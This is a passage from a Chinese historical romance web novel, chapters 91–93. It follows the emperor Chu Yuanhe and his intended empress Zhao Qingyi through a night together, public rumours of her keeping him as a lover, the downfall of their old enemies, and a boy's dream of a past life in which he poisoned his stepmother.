他很清楚赵清仪的本性,一旦与人袒露真心后,她就不是循规蹈矩的迂腐之人,她有自己的个性,有自己的脾气,难过了会哭,嫉妒了会使性子,生气了也会骂人会打人…… 所以楚元河从不要求赵清仪大度,也不要求她讨好,他只求她是她,仅此而已。 楚元河的脸被烛火勾勒出锋利的轮廓,可他的眼神始终柔软,仿若静谧深沉的夜色,浩瀚到足以包容一切的深邃。 赵清仪怔怔望着他的眼睛,似有无形温暖的力量直抵心间,源源不断,让她无比清楚地感受到…… 他在不遗余力地爱着她。 终于,赵清仪鼓起勇气回吻他的唇。 她的回应格外热烈,这一次,无须过多引导,赵清仪学会了坦然表达自己的欲求,字字句句皆令楚元河痴狂。 衣衫散了满地,庄严肃穆的御案再度沦为纵情的欢海。 楚元河喘着气,让她歇息片刻的功夫,慢条斯理为她整理纱衣,经他掌心熨平后,薄纱与玲珑的曲线贴合,愈发衬出几分若隐若现的朦胧美。 他漆黑的眸底再度泛起雀跃的晦色。 “般般,这……能撕吗?”他语气诚恳,带着些微的沉哑。 90-95 第91章 第91章到底谁是谁的外室?…… 赵清仪还晕乎乎的,方才一番折腾没缓过劲儿来,闻言只溢出小猫般的轻哼,尚未意识到对方想做什么。 楚元河只好将话说得更直白些,“若是弄坏了,般般可会心疼?” 她身上的料子细腻轻薄不同寻常,其上还缀着数不清的细碎珠玉,定然价值不菲。 不得不说,这身衣裳……很是别出心裁。 既彰显出女子身段的曼妙,还透着雾里看花的神秘,让人迫切的想要一探究竟。 赵清仪在他灼灼的目光中领会其意,脸已然熟透,还在想要如何解释。 这衣裳是那位掌柜娘子经表兄授意后赠予她的,价值几何她不清楚,但看料子与镶嵌的宝石珠玉来算,若就这么撕坏了…… 赵清仪还没算完这笔账,就听“刺啦”一声。 “……” 赵清仪的心忍不住滴血。 楚元河终于做成了想做的事,心里爽快极了,含糊道回头再赔她十件八件,又重新吻上她的唇。 后半夜京城下起了瓢泼大雨,毫无预兆地倾泻而下,无数激昂的吟泣淹没在大雨之中。 赵清仪是彻底走不了了,沐浴过后,就被楚元河抱上.床榻,她困乏至极,累得睡了过去。 楚元河从后面环抱住他,眼底满是柔情与餍足,真想快些成婚,这样他就能日日与般般在一起了。 翌日天光微亮,他便将人拢在怀里,上了一辆平平无奇的马车。 赵清仪是在颠簸中清醒的,一睁眼便是楚元河如刀削般锋锐的下颌,短暂怔愣过后,她坐了起来,“你……你怎么……” 眼下她应该在出宫的路上,楚元河居然也跟来了? 对方只给她一个似笑非笑的眼神,“昨夜我勤勤恳恳,劳碌半宿,就不能休沐一日?” 看着她脸上的茫然,楚元河俯身在她唇上轻啄,低声怨她狠心,既想让马儿跑,又不让马儿吃草。 他捉住赵清仪的手摸了摸自己的腹肌,“昨儿个晚膳消耗完了,我想去你那儿吃些好的,昨日送的糕点不错。” 赵清仪总觉得他的话不是很正经,但她没有证据。 只好硬着头皮配合,“我也有些饿了,陛下想去清韵茶楼还是醉仙楼?” 对方故作思忖后便说要去茶楼,但在此之前,马车还是先回了赵宅,他的相貌身份非比寻常,且这上京地界,十步一权贵,他出宫不如从前方便,未免惹来不必要的麻烦,他想先回赵清仪的宅子洗漱更衣。 赵清仪刚想说她那里没有男子服饰,准备让人去买,结果就眼睁睁看着檀月俏月两个丫头,指使人从她库房里搬出一只硕大的箱笼。 “什么时候送来的?”她惊讶得瞪大眼睛。 “县主忘了?”俏月调皮的眨眨眼睛,“咱们搬回来那一日,不是县主吩咐奴婢准备的吗?” 压根就没这回事,但两个婢子机灵,专挑陛下爱听的讲。 楚元河果然受用,嘴角的笑压都压不住,换好衣裳,两人便携手出门去。 一路上,赵清仪时不时瞟向二人十指相扣的手,不是说要低调吗?这算哪门子低调? 寻常人不认得陛下,但总会有人认出她来,她经常外出巡视铺子。 赵清仪不安地摸了摸脸上的面纱,祈祷这一路千万不要碰到熟人。 楚元河将她的小动作看在眼里,别提多愉悦了,嘴上却道,“我是生得很难看,让般般拿不出手?” “没……我没这个意思……”赵清仪小声否认,就是太拿得出手了她才心虚。 他就没注意到这一路落在她二人身上的目光吗? 虽然以往楚元河扮作平西郡王时,二人也有过并肩行走,彼时赵清仪完全不觉得有什么,心里坦荡得很,但眼下她清楚的明白,自己牵的一国之君啊…… 这样堂而皇之地手牵手,她很难不紧张,既怕别人认出来,也担忧楚元河的安危。 最近月翎使臣入京,保不齐就有什么刺客杀手混入城中欲行不轨,他这般张扬,就是活脱脱的靶子。 楚元河就跟没事人一样,握着她的手轻轻拽了一下,让她离自己更近一些。 赵清仪试着挣脱,楚元河就开始在她手心挠痒痒…… 玩闹间,熟悉的女声从前方传来。 “清仪姐姐!” 最不想面对的情况还是出现了,赵清仪立时吓得魂飞魄散,下意识转身就跑。 楚元河眼疾手快,猛的将她带了回来,这下好了,直接摔进他怀里。 张婉琰显然没料到会撞见这一幕,脚步僵在原地,脸上欣喜的笑也凝住了,直到楚元河的眼神扫过来,还是她身旁的乔文柏率先做出反应,领着妻子快步上前。 乔文柏是新科进士,又在朝堂上见过陛下,但见对方穿着常服,到嘴的“陛下”二字很自然的转变成“公子”,算是见礼。 只有张婉琰还没见过陛下真容,可对方眼中的犀利却叫她本能地心肝一颤,登时反应过来,随着丈夫一同屈膝行礼。 她从父亲那里知晓陛下有意立赵清仪为后,如今能出现在赵清仪身边,且如此亲密的男人,估摸着就是那位九五之尊了。 万万没想到,陛下居然就这么出宫了? 还同赵清仪走在一起,就像再寻常不过的夫妻,身边也没有任何禁军护卫。 二人礼行至一半,楚元河就让他们免礼,语气还算温和。 赵清仪心脏狂跳,好半晌才挤出尴尬的笑。 张婉琰今日上街闲逛是为了采买给孩子做衣裳的料子,她如今也怀有身孕,还未同好姐妹报喜,是以方才认出赵清仪时才会那般激动。 但眼下明显不是姐妹叙话的好时机,寒暄过后,张婉琰与乔文柏自觉告退,临走时让赵清仪得空到府上坐坐。 有了张婉琰这一出,赵清仪愈发用力捂紧脸上的面纱,快步闪入清韵茶楼,生怕再叫哪个熟人认出来,一顿早膳用得那叫一个胆战心惊。 楚元河始终泰然自若,薄唇噙着似有若无的浅笑。 本以为今日之事到此为止,不曾想翌日一早,流言悄然盛行,关于宸华县主豢养外室的流言莫名其妙传了出去。 两个婢子立在门外禀报,赵清仪扶额,暗道完了。 立后的旨意才出不久,消息只在权贵官宦中流传,寻常百姓还不知情,都拿赵清仪养外室的事当茶余饭后的谈资。 而皇城之中却是截然相反的流言。 那些在宫里当着末等差事的宫人们悄悄议论,*说陛下在宫外有个格外稀罕的外室,就养在京中某处宅子里,为了见她,陛下从西北回京后,三天两头往外跑。 这不,近日陛下受不住朝臣劝谏被迫立后,为安抚那小外室,往宫外跑还不够,竟悄悄让人用轿辇把人送进寝殿里,天一黑就来,天快亮才走…… 诸如此类的流言多如牛毛,等檀月俏月从坊间听到时,流言已经有了好几版,传什么的都有,不过大家只敢私下议论,听个乐子。 因为太离谱,京中权贵皆没当回事,就连官府也未大肆镇压。 “……” 听闻此事,赵清仪坐在床边,揉着酸软的后腰一脸郁闷,“到底谁是谁的外室?” 这分明是她的宅子,一开始也是她养着那个男人! 两个婢子听到动静,四目相对,都看到了彼此眼中的惊诧。 重点……是这个么? 半梦半醒的楚元河听到她愤愤不平的声音,慵懒地撑起上半身,从后环住她的腰肢,另一手替她按揉,嗓音低低的,“这不重要……” 因是刚起,男人嗓音里还透着几分暗沉的喑哑,他将下巴搁在赵清仪的颈窝处,嗅着她身上散发的淡淡馨香,满脸舒爽,又迷迷糊糊喊起了夫人。 “夫人若是介意,咱们就快快成婚。” 成了婚,流言便不攻自破。 赵清仪睨了他一眼,“你圣旨都下来了,才同我说这些?” “这不一样。”楚元河将她搂得更紧了,“要你亲口答应才算数……” 先前的郁闷一扫而空,赵清仪啼笑皆非,他好像格外在意她的声音,无论是哪方面,总会较真要她亲口说出来他才相信。 她的笑令楚元河微微皱眉,觉得她对待自己的事情不太认真,便惩罚似的咬住她后颈的软肉,桃花眼里再无半分慵懒的睡意。 “朕以江山为聘,夫人到底何时给名分?”咬她还不够,手掌刻意在她腰侧怕痒的地方轻轻掐了一下。 “别闹!”赵清仪噗呲笑出声,娇躯扭作一团躲避他的手,二人开始在拔步床内你追我逃。 檀月俏月在门外听到声音,齐齐叹了口气。 ……又开始了。 县主那看似柔柔弱弱的身骨,韧性这么强吗? 好在赵清仪认输认得快,满口答应许他正宫之位,楚元河方肯罢休。 本想陪赵清仪用过早膳再走,暗卫送来消息,月翎国使臣即将入京,楚元河不得不尽快回宫,且此去一连数日抽不出身。 思及此,他问起当初赠赵清仪的玉佩是否还在。 赵清仪想了好半晌,从妆奁里翻找出来,“是这个?” 那是一枚缀着明黄流苏的双鱼佩,是最初在清韵茶楼她请人吃茶看戏时,隔壁雅间的看客送给她的,后来她知道那人就是楚元河,便将玉佩找出来好生收纳。 她不经意的举动,大大取悦了面前的男人,“原来你还收着,我以为你会把它当了。” 赵清仪挑眉,“我又不缺银子。”还不至于靠典当东西度日。 “也是,能养皇帝当外室的女子,自然不是一般的富裕。” 调侃的功夫,楚元河已经穿戴齐整,临走时捧着她的脸,在她眉心飞快一吻,“若是想我了,就拿这枚玉佩入宫,嗯?” 赵清仪眼睫颤了颤,怀疑他在勾.引自己,她才不会上当! 第92章 第92章恶有恶报。 楚元河走后,陆陆续续有拜帖送上门来,其中有张婉琰的,也有几个曾与赵家交好的官宦夫人,还有些完全不相识的,打着各种各样的名头给她送拜帖。 不难猜测,除张婉琰外,其他人皆是因为流言前来巴结她的。 民间传得再离谱,这些官宦人家总有自己的耳目,想打探到楚元河出宫陪她一整日的消息不难。 若说最初世家权贵们抱着怀疑的态度,如今就是肯定,确信,这二人关系匪浅,恐怕立后的实情并非陛下口中所言那般冠冕堂皇。 什么赵氏女是最适合做皇后的人选,一派胡言,根本就是陛下爱到不行了,不愿朝臣非议,才不惜一切也要给足对方体面与尊荣。 说不准当初赵氏女捐银救济灾民,博取名声就是陛下在背后推波助澜,后来又助县主和离,再到请出太皇太后解除婚约的懿旨……桩桩件件,如今看来都是在为赵氏女的皇后之位铺路。 若真如此,陛下对她就是情真意切,现在不快些讨好巴结,将来恐怕就没机会了。 赵清仪不想惹麻烦,更不想有人利用自己给楚元河添堵,除了张婉琰的帖子,其余人的皆寻了由头回绝,之后便从角门悄悄出去巡视铺子,为了不让人认出自己还戴上帷帽遮挡容貌。 汇入热闹喧嚣的人流,赵清仪疾步而行,并未注意街边伸出的一只苍老的手,蓦然被对方拽住裙摆,主仆三人皆吓得惊呼出声。 婢子迅速扶着赵清仪后退两步,躲开那人的纠缠,正当檀月准备从怀里摸出铜板打发对方时,杂草般的乱发之下露出一张脏兮兮的脸。 “好心人,求求你……” 罗氏匍匐在地,强撑着抬起头来,希望能博得贵人一丝怜悯,赏她几个钱,她已经饿好些天了。 可当罗氏对上婢子愕然又嫌恶的眼神时,她整个人僵在原地。 赵清仪带着帷帽她没认出来,可赵清仪身边的人化成灰她都认得,她怎么还乞讨到仇人跟前了! 罗氏浑浊的瞳仁剧烈震颤,几乎是下意识的往后退,手脚并用在地上蠕动,又怕遭到赵清仪的报复,拼命扯乱头发遮挡面容,想假装一切都没发生过。 但赵清仪已经认出了她,微微挑起帷帽一角,露出那张白皙绝美的小脸,她如今日子过得风生水起,便如同温室里娇养的牡丹花,愈发明丽动人。 她打量罗氏一眼,让檀月随手抓把铜板撒进罗氏面前的破碗里。 俏月不满,觉得县主完全没必要对这种人施以善心,罗氏就该死了好,眼下她们一家是恶有恶报,活该。 赵清仪只是笑笑,她太了解罗氏,她们一家都有种奇怪的自尊心,明明处处不如赵家,处处低她一头,强烈的自尊心却要作祟,非得在旁处压她一头,才能显出罗氏这帮人的能耐。 当初自己下嫁时,罗氏便爱立规矩,如今罗氏落魄了,不得不接受自己的施舍,这恐怕比杀了她还要令她难受。 果然,罗氏看着破碗里的一把铜钱,三角眼瞬间猩红,对赵清仪的愤怒仇恨拉扯着她,叫嚣着不要接受对方的施舍,可理智却逼迫她颤手将那破碗宝贝似的圈在怀里。 再不甘再怨恨又能如何? 赵清仪是高高在上的贵女,是县主。 而她只是上京城最不起眼的一个乞丐。 自从忠勇伯府被抄,李素素身陷囹圄,再腾不出功夫出来照料她,罗氏已经有好些时日未曾见过女儿,也得不到任何接济,她之前的伤又没养好,落下残疾,为了活下去,她只能像条可怜虫一样匍匐在地,趴在人流如织的街头乞讨为生。 尽管她不愿意承认,可赵清仪施舍给她的铜板,足够让她活几日了。 罗氏看着赵清仪主仆三人渐行渐远的背影,紧紧抱住破碗,用力闭上眼睛,浑浊的泪水顺着眼角滑落…… 没等罗氏哭完,围在附近的一帮乞丐冲了上去,三两下将她护在身下的破碗抢出来,铜板洋洋洒洒落了满地,乞丐们叫嚣着在地上疯狂抢钱。 罗氏红着眼眶捶地,想让他们别抢,那是她的钱,是她的钱! 可她已经好长时间没吃过东西,加上年迈残疾,压根阻止不了这帮疯狂的乞丐,罗氏泪流满面,到最后她只堪堪护住两枚铜板,任其他乞丐拳打脚踢也不肯松手。 乞丐们打累了,这才如潮水般散去,只留下鼻青脸肿的罗氏,趴在地上护着两枚铜板奄奄一息。 确定人都走远了,罗氏才缓缓摊开掌心…… 还没来得及看清,又一个身影扑上来,将她最后藏住的铜板也抢走了。 罗氏脸上刚扬起的苦涩笑容转瞬消失。 “这是我的!我的!” 尖锐的女声划破天际,随之而来是猖狂的笑声,“你们休想抢走我的东西!休想!我是状元娘亲,谁也都别想和我抢!哈哈哈……” 罗氏一脸骇然,纵然这声音尖锐凄厉,她还是认出了对方,她难以置信看着面前疯疯癫癫的女人。 赵漫仪穿着一身打满补丁的破旧中衣,瀑布般的秀发凌乱脏污,俨然同自己一般成了乞丐,然而最叫人移不开眼的是她脸上那道狰狞伤疤,不仅如此,浑身上下只要看得见的地方,皆布满大大小小的淤青伤痕,不难想象,这一路她都遭遇了什么。 下一刻,罗氏脸上的骇然消失,取而代之是畅快的笑,干涸的嘴角快要咧到耳根去了。 “哈哈哈……你也有今日……你个贱人也有今日!哈哈哈……” 赵漫仪这个红杏出墙的贱人,害苦了她的儿子,又混淆她李家血脉,如今居然也落到了这个下场,着实叫人痛快! 罗氏的笑声惹恼了赵漫仪,她怒瞪着面前的人,好半晌才认出对方,忽然丢开铜板蹲下身,用力攥住罗氏的衣襟,眸中的怒火喷薄而出,“是你……是你!你还我骏哥儿!你还我骏哥儿!” 赵漫仪的变化来得太过突然,罗氏毫无准备就被她掐住了脖子。 “你还我骏哥儿!还我骏哥儿!” 赵漫仪满脑子只剩她的状元儿子,一想到罗氏这个老虔婆赶走她的骏哥儿,她就恨不得杀了罗氏! 她如今是疯疯癫癫,可她年轻,又有力气,没一会儿就将罗氏掐得喘不过气直翻白眼。 李素素赶来时就见自己母亲快要晕厥过去,忙尖叫一声扑上来,同赵漫仪扭打在一处,互相挠了对方一个大花脸。 殷红的血迹从脸上渗出,赵漫仪总算冷静下来,她缓了缓,又抓住李素素的胳膊,急切质问骏哥儿的下落,又说她的骏哥儿将来会高中状元,骂李家有眼不识金镶玉。 可那一切不过是赵漫仪的梦,李素素不想和她过多纠缠,就说不知道,换来赵漫仪的一记耳光。 她如今疯了,打起人来格外有劲儿,李素素被她扇了个趔趄。 “不管你们认不认,骏哥儿都是李彻的亲儿子!你们害了他,你们李家就要绝后了!”赵漫仪撂出狠话,又要去掐李素素的脖子。 她从钱塘一路乞讨来到上京,就是为了找到骏哥儿,可她找遍了上京,四处向人打听,所有人都当她是疯子,不是赶走她就是打骂她。 赵漫仪都能忍,只要能找到她的骏哥儿,吃再多的苦她也愿意。 可李家凭什么呢? 罗氏和李素素又凭什么不告诉她骏哥儿的下落?她们都是骏哥儿的亲人,为什么要害她的骏哥儿? 赵漫仪越想越恨,恨不得当场掐死这对母女为她的骏哥儿报仇。 眼看李素素被掐得出气多进气少,罗氏吓坏了,哭着道骏哥儿在赵清仪手里,有本事就去寻赵清仪要儿子。 听到这个名字,赵漫仪手中力道一松。 李素素趁机挣脱,与罗氏抱在一起瑟瑟发抖,母女俩绞尽脑汁回忆赵清仪名下有哪几处庄子,知道的全告诉了赵漫仪,让她有本事自己去找。 赵漫仪一一记在心里,又疯疯癫癫地跑了,口中仍在呐喃,说她是状元娘,将来是要诰命加身的。 罗氏母女望着她远去的背影,皆松了口气,又一次抱头痛哭。 忠勇伯府被抄,李素素原以为自己死定了,不曾想抄家前夕,梁十三给了她一封休书,将她休出伯府,拿到休书的那一刻,李素素心中五味杂陈。 从一开始她就嫌弃梁十三是个瘸子,婚后二人不睦,她又处处受婆母打压,什么罪都遭了一遍,在伯府过得生不如死,临了临了,却是她看不起的丈夫给她一条生路,没让她跟着伯府陪葬。 想到梁十三给她休书时,那脸上前所未有的平静神色,李素素便觉心口生疼。 其实……倘若没有那些算计,撇去梁十三是个瘸子不提,他也算个顶天立地的男子汉,只是如今说这些没有意义了,梁十三生在忠勇伯府,就注定了他的结局。 李素素抱着罗氏,仰面不让泪水滑落下来,又从怀里取出一把精巧的银锁送到罗氏手里,那是离开伯府时,梁十三给她的最后一件东西,虽然不值多少钱,却足够她寻一个地方落脚安顿。 至于哥哥李彻…… 伯府被抄时,李素素从下人口中听到过一些只言片语,得知哥哥居然逃到浙江投奔岐王意图谋反,如今被陛下带到京中,具体如何处置她不清楚,但这些,李素素不打算告诉罗氏。 哥哥都涉及谋反了,无论如何也不可能有活路,让罗氏知道不过是平添烦恼,她们没能力救谁出来,倒不如就当没这个人。 李素素也不是没想过,梁十三给她休书,是不是也有哥哥李彻的缘故,毕竟那是参与谋反,诛九族的大罪,与她撇清关系,至少还能保全伯府旁支,不至于九族尽灭。 李素素脑中闪过无数个念头,终究是挤出一丝笑来,宽慰罗氏她们可以重新开始,只要离开上京这个是非之地,她们继续过回从前清贫的日子,虽然辛苦,却能一家人在一起。 罗氏半身不遂了,但她还年轻,她还不到二十岁,她可以出去给人做活,浆洗衣物,做做针线,也能换些粗茶淡饭,反正,没有遇到赵清仪之前,她们也是这样生活的,如今一切只是回到了原点而已。 然而她刚扶起罗氏走出两步,罗氏终是软倒下去,双目圆瞪,再没能起来…… 赵漫仪独自跑出城外,为了尽快见到骏哥儿,她一刻不敢停歇,终于在城郊三里之外找到一个庄子。 赵清仪名下的店铺庄子数不胜数,这是距离上京较近的一处,也是赵清仪的陪嫁之一。 此时庄子上寂静无声,赵漫仪做贼似的靠近,在墙根下摞起石块,小心翼翼踩了上去,她要扒在墙上看看能否找到她的骏哥儿。 好不容易翻上墙头,她便听到庄子里响起仆妇的声音,正用不耐烦的语气使唤骏哥儿去清扫落叶。 回应对方的是一阵弱小乖巧的童音,“是,我这就去扫。” 刚爬上墙头的赵漫仪大喜过望,是她的骏哥儿! 可下一瞬她就笑不出来了,该死的蠢妇,竟敢将她儿子小厮一般使唤! 赵漫仪费劲踮起脚尖,终于冒出半个头,见到了她心心念念的儿子,才五岁的孩童,穿着一身粗布衣裳,面黄肌瘦,骨瘦如柴,正握着比他高出一大截的扫帚在庭院里清扫落叶。 “骏哥儿!”赵漫仪忍不住叫出声来。 骏哥儿扫地的动作一顿,四下张望,想看看是谁在叫他,可看了半天也没找到人,于是又继续扫地。 赵漫仪知道光喊是不行的,她手脚并用,终于翻了过去,只听“扑通”一声闷响,什么重物掉落在地,将骏哥儿吓了一大跳。 他握紧扫帚,紧张地看向那堆刚扫好的落叶,“谁……谁在那儿?” 赵漫仪疼得快要散架了,不过多日来的艰辛磨炼了她,很快她就从疼痛中缓过神,连忙从地上爬起来整理头发,尽可能露出温和的笑,“骏哥儿,是我呀,我是娘呀……” 对上骏哥儿目光的顷刻间,赵漫仪鼻头酸涩,泪水情不自禁滚落。 骏哥儿起初没认出面前的“乞丐”究竟是谁,听对方一口一个娘,才后知后觉反应过来,惊愕地瞪大眼睛。 不等他说话,赵漫仪一瘸一拐朝他走来,牵起他的手,“娘终于找到你了,骏哥儿,你快跟娘离开这里。” 出乎意料的,骏哥儿甩开了她,“我不要。” 赵漫仪一愣,回眸难以置信地看着自己的儿子,适才见到骏哥儿,她光顾着高兴,完全没注意到,面前的小人从始至终皆是一脸的平静,完全没有见到亲娘的欣喜。 “骏、骏哥儿……你怎么了?你是不认得娘亲了吗?” 赵漫仪用脏污的袖子用力擦拭脸颊,想让自己看起来体面些,擦了半天,面上重新堆起笑,“骏哥儿,你跟娘亲离开这里好不好?你不知道,这些日子娘有多想你……” 赵漫仪感动自己,感到到泪如雨下。 小小的骏哥儿站在原地,神色漠然地看着她,问出的话如同利直刺赵漫仪的心,“我为什么要跟你离开?” 赵漫仪秀美微蹙,双手用力抓住骏哥儿的胳膊,“我是你娘啊,你不跟我走,难道要继续留在这里,给赵清仪那个贱人为奴为婢吗?” 骏哥儿毫不留情挣脱她,小小的脸满是严肃道,“我不允许你这样说我嫡母!” 骏哥儿的力气不小,赵漫仪被他推倒,她简直不敢相信自己的耳朵。 她听到了什么?骏哥儿居然……唤那个女人嫡母?! “你疯了不成!” 无数个日夜,骏哥儿都是支撑赵漫仪苟且偷生的希望,如今却让她听到这这些话,赵漫仪根本承受不住,冲着骏哥儿咆哮道,“我才是你亲娘!你是我生的!” 赵清仪真是好手段,她才离开骏哥儿多久,就把她的骏哥儿教养成六亲不认的东西,她让骏哥儿今日必须跟她走。 骏哥儿烦不胜烦,让她放开自己,可他到底才五岁,前阵子又意外落水大病一场,身子骨弱得很,被赵漫仪这个疯婆娘又拉又拽,没两步就摔倒在地。 赵漫仪吓坏了,折身回来要抱他,再次被骏哥儿甩开,“别碰我!你这个自私自利的恶毒女人!” 赵漫仪如遭雷击,她听到什么? 骏哥儿居然说她……说她是恶毒女人?自私自利? 第93章 第93章“捉住她。” 几乎是一瞬间,委屈愤怒直冲脑门,赵漫仪扬手就是一巴掌,却在对上骏哥儿倔强冰冷的眼神时戛然而止。 骏哥儿跌坐在地,明明矮她一截,脸上的冰冷的神情却让赵漫仪无比陌生。 这还是她从前那个娇气总喜欢依赖她的儿子吗?为何他会用这样的眼神看着自己? 她可是他的亲娘啊! 赵漫仪气到浑身发抖,泪水簌簌而落,死死抓住骏哥儿的手,“你必须跟我走!” “跟你走又什么用?”骏哥儿厉声驳斥她,“跟你走,你是能让我过上好日子,还是能供我读书?” 他毫不留情地讥讽赵漫仪,“看你如今过得像什么?乞丐么?就凭你这副样子,还想带我走?” 若赵漫仪有本事带他去见嫡母,他倒是可以考虑。 可赵漫仪就是个蠢女人,又蠢又坏,嫉妒心还强,她什么都给不了自己,还不让他跟着嫡母,跟她走,自己就是死路一条。 赵漫仪被他的话气哭了,她泪眼婆娑地看着儿子,“是不是赵清仪跟你说了什么?你不要听她的,她是在挑拨离间,她就是盼着我们母子不和……骏哥儿,你千万不要被她蛊惑了……” 骏哥儿看着她声泪俱下的表演,脸上没有丝毫动容,嗤笑道,“一直在挑拨离间的,难道不是你吗?” 赵漫仪又一次被他戳中了心窝子,僵在原地。 “从我还未入上京,你就教唆我如何撒谎,欺骗嫡母,你告诉我,嫡母是个坏女人,她不仅要抢爹,还要抢走你的位置,我都信了,我还帮你撒谎,可结果呢?” 结果就是赵漫仪作茧自缚,自己害了自己不说,还连累他! 投生到这种女人的肚子里,他真是上辈子作孽…… 思及此,骏哥儿苦笑一声,可不是作孽么? 他大病一场后,好像在梦里过了一生,梦境里,他被父亲李彻抱回家,过继到了嫡母名下,成了李家的嫡长子,那个梦里,完全没有什么李骄来抢走他的位置,他在嫡母的教养下,要风得风,要雨得雨。 嫡母拿他当亲儿子教养,衣食住行样样精致,且梦里的嫡母,比如今的嫡母温和许多,对他这个养子倾尽所有,还给他找最好的先生,送他去最好的书院…… 在嫡母的悉心教导下,他终于在二十岁这一年高中状元,风光无限,嫡母还给他选了一个出身高贵的千金小姐,要为他说亲,可不知为何,梦里的自己一点儿也不欢喜。 一直以来,似乎都有另一个声音再告诉他,嫡母如何如何坏,嫡母如何如何利用自己,嫡母对他根本不是真心…… 那个人是他的亲娘赵漫仪。 年幼时嫡母教他读书,他调皮坐不住,亲娘就会偷偷来见他,给他好吃的好玩的,还要带他出去踏青,捉蛐蛐放风筝,一边玩一边还会编排嫡母,埋怨嫡母待他苛刻,说他还是个孩子,纵要读书也不应该如此急功近利。 久而久之,梦里年幼的骏哥儿相信了这些话,他就觉得逼他读书的嫡母坏,带他玩的亲娘才是好,渐渐的,他的心越来越偏向亲娘…… 可从小到大,只有嫡母为他付出最多,真金白银砸给他,供他吃穿读书,还为他娶妻,而亲娘,二十年来付出的价值屈指可数,可梦里的他就跟中了蛊似的,只听亲娘的挑唆,一味排斥嫡母,后来亲娘还给他一瓶药粉,让他下在嫡母的汤羹里,日日给嫡母送去。 日复一日,年复一年,那药粉越下越多,嫡母的身子越来越虚弱。 开始给嫡母下药的那一年,他也才六七岁,等他长到二十岁时,他已经晓事了,约莫能猜到,他给嫡母下的药不是什么好东西。 但事已至此,他只能继续相信亲娘的话,把长大成人这些年所有的辛苦全推到嫡母身上。 怨嫡母逼他读书,恨嫡母给他娶妻,他才不喜欢什么名门贵女,那些贵女只会和嫡母一样,逼他读书逼他上京逼他做官…… 还不如他认识的青楼女子来得温柔体贴,为反抗嫡母,他执意要娶青楼女子过门,把嫡母气得病倒了。 再后来,他参加科考,不出意外高中状元,而父亲李彻一跃成了内阁首辅,位极人臣。 他是李骏了,他的人生终于由他自己说了算,父亲母亲也终于不再遮掩,他们一家人得以团聚。 父亲母亲成婚当夜,他们一家三口出现在嫡母的病榻前,送了嫡母最后一程。 看着嫡母气急攻心,吐血身亡,临死之际满眼的不甘愤怒,李骏心里畅快极了。 他终于自由了,再也不受嫡母的束缚了!他的大好人生要开始了! 可再一睁眼,一切都变成了一场梦,他如今只是个被放逐在庄子上,自生自灭的奸生子。 什么荣华富贵,什么高门嫡子,什么状元郎君,全都化作梦幻泡影,离他远去。 而这一切的改变,似乎都是从嫡母开始,从嫡母拒绝过继他开始。 原来,离了嫡母,他李骏什么也不是。 离了嫡母的父亲,也什么都不是,更遑论眼前这个愚蠢的妇人! 赵漫仪被他的眼神盯得心惊肉跳,她下意识又把罪过推在别人身上,“是不是赵清仪同你说了什么?她是不是跟你说了为娘的坏话?你才会对我有如此多的误会!” “嫡母没说什么。”纵然有,李骏也不会告诉她,因为他觉得嫡母说得对,如今若能离开,他只想回到嫡母身边。 李骏看着眼前泣不成声的女人,忽然眼珠一转,有了主意,“你真的能带我离开?” 他现在还不到五岁,身体又小又弱,被庄子上的仆妇看管甚严,没有外人帮助,他很难离开庄子回到京中去见嫡母。 赵漫仪不知他的打算,只以为是骏哥儿回心转意了,他们到底是亲母子啊,哪儿有隔夜仇,等离开这破庄子,骏哥儿就会明白还是跟在亲娘身边最好。 赵漫仪忙不迭抹去眼泪,笑着点头,一会儿她就蹲下来,让骏哥儿踩着她的后背爬上墙头,翻出去就是新的天地。 李骏嘴角噙着淡漠的冷笑,让赵漫仪现在就跪下给他当脚凳,赵漫仪二话不说照做,此刻她满心欢喜,觉得只要再熬十几年,熬到骏哥儿二十岁再次高中状元,她就能彻底翻身。 — 骏哥儿不见的消息传回京时,赵清仪正百无聊赖地在院子里乘凉,手头还有好几本新送来的话本子。 听到消息,赵清仪脸上毫无波澜,不见了就不见了吧,她是承诺过会给他活路,只要他在庄子一日,就保他一日,但若是那孩子自己想走,她也拦不住。 不过既然提到了骏哥儿,赵清仪不免想起李骄。 白日里她刚去李家老宅探望过玉袖,玉袖生了个女儿,即便李骄外出游学,她有女儿相伴不算枯燥,名下还有铺子挣些营收,应对日常开销绰绰有余,便在宅子里养了三两个仆妇照料起居,日子过得平淡惬意,对比从前在庄子里受人磋磨,如今的玉袖生得丰腴不少,玉袖还说,等中秋李骄就要回京了。 赵清仪数数日子,也没差几日,便让婢子着手准备,届时她们再好好聚聚,毕竟骄儿名义上还是她的养子。 檀月拿着小册子将她的吩咐一一记下,忽然“咦”了声,怎么正好就是中秋? 她听福贵公公说,陛下准备在那一日给月翎使臣办接风宴,而县主是未来皇后,定然会受邀赴宴。 赵清仪听罢,食指轻轻点了下自己的脑门,她最近是怎么了,忘性这般大,于是又将安排推迟一日,待过了中秋再见李骄母子。 过后门房又送来上百张拜帖,厚厚一沓,摞成了小山。 俏月咋舌,“陛下立后的消息才昭告天下,这求见之人就快踏破门槛了。” 婢子照例分门别类整理好,明显来巴结讨好的全都回绝。 这当中就包括月翎国公主的帖子。 上京城内一处驿站,红裙少女得知自己的拜帖被拒,颇有些惊讶,“这什么县主,架子真不小。” 她都送了两回拜帖,第一回是试探,第二回便是今日,得知赵清仪被立为皇后,她是真心想见见大梁未来的皇后,可对方看也不看就拒了拜帖。 旁边婢子又提醒一遍,“是宸华县主。” “管她什么县主,本公主要见她。”红裙少女双手抱臂,神色娇蛮。 在西域,她们月翎国也是受人敬仰的存在,而她是月翎汗王最珍视的掌上明珠银月公主,此番送她来和亲,一为两国邦交,二也是为她寻个好归宿。 在月翎国时她便常听人提起,大梁皇帝少年成名,骁勇善战,又生得高大俊美,虽为帝王,后宫却干干净净,若是嫁给他,不失为一桩好姻缘。 她这才满怀期待不远千里来到大梁上京,结果还没入京,一路上就听到不少风言风语,对此她半信半疑,直至今日立后的旨意昭告天下。 抢在月翎国提出和亲之前,大梁皇帝就定下了皇后人选。 银月公主觉得自己的脸有些疼。 大梁皇帝这番动作,多少让她觉得落了脸面,像是急着撇清关系,又像在敲打她们,不要觊觎不该属于自己的东西。 这彻底激起了银月公主的逆反心,忙派人出去打听赵清仪的底细。 银月公主也没想如何,她一个异国公主,无论如何都做不了大梁皇后,所以一开始就没想和赵清仪争什么皇后之位。 她只是好奇,好奇是何等模样的女子,能以二嫁之身坐上后位,结果就吃了闭门羹。 “……” 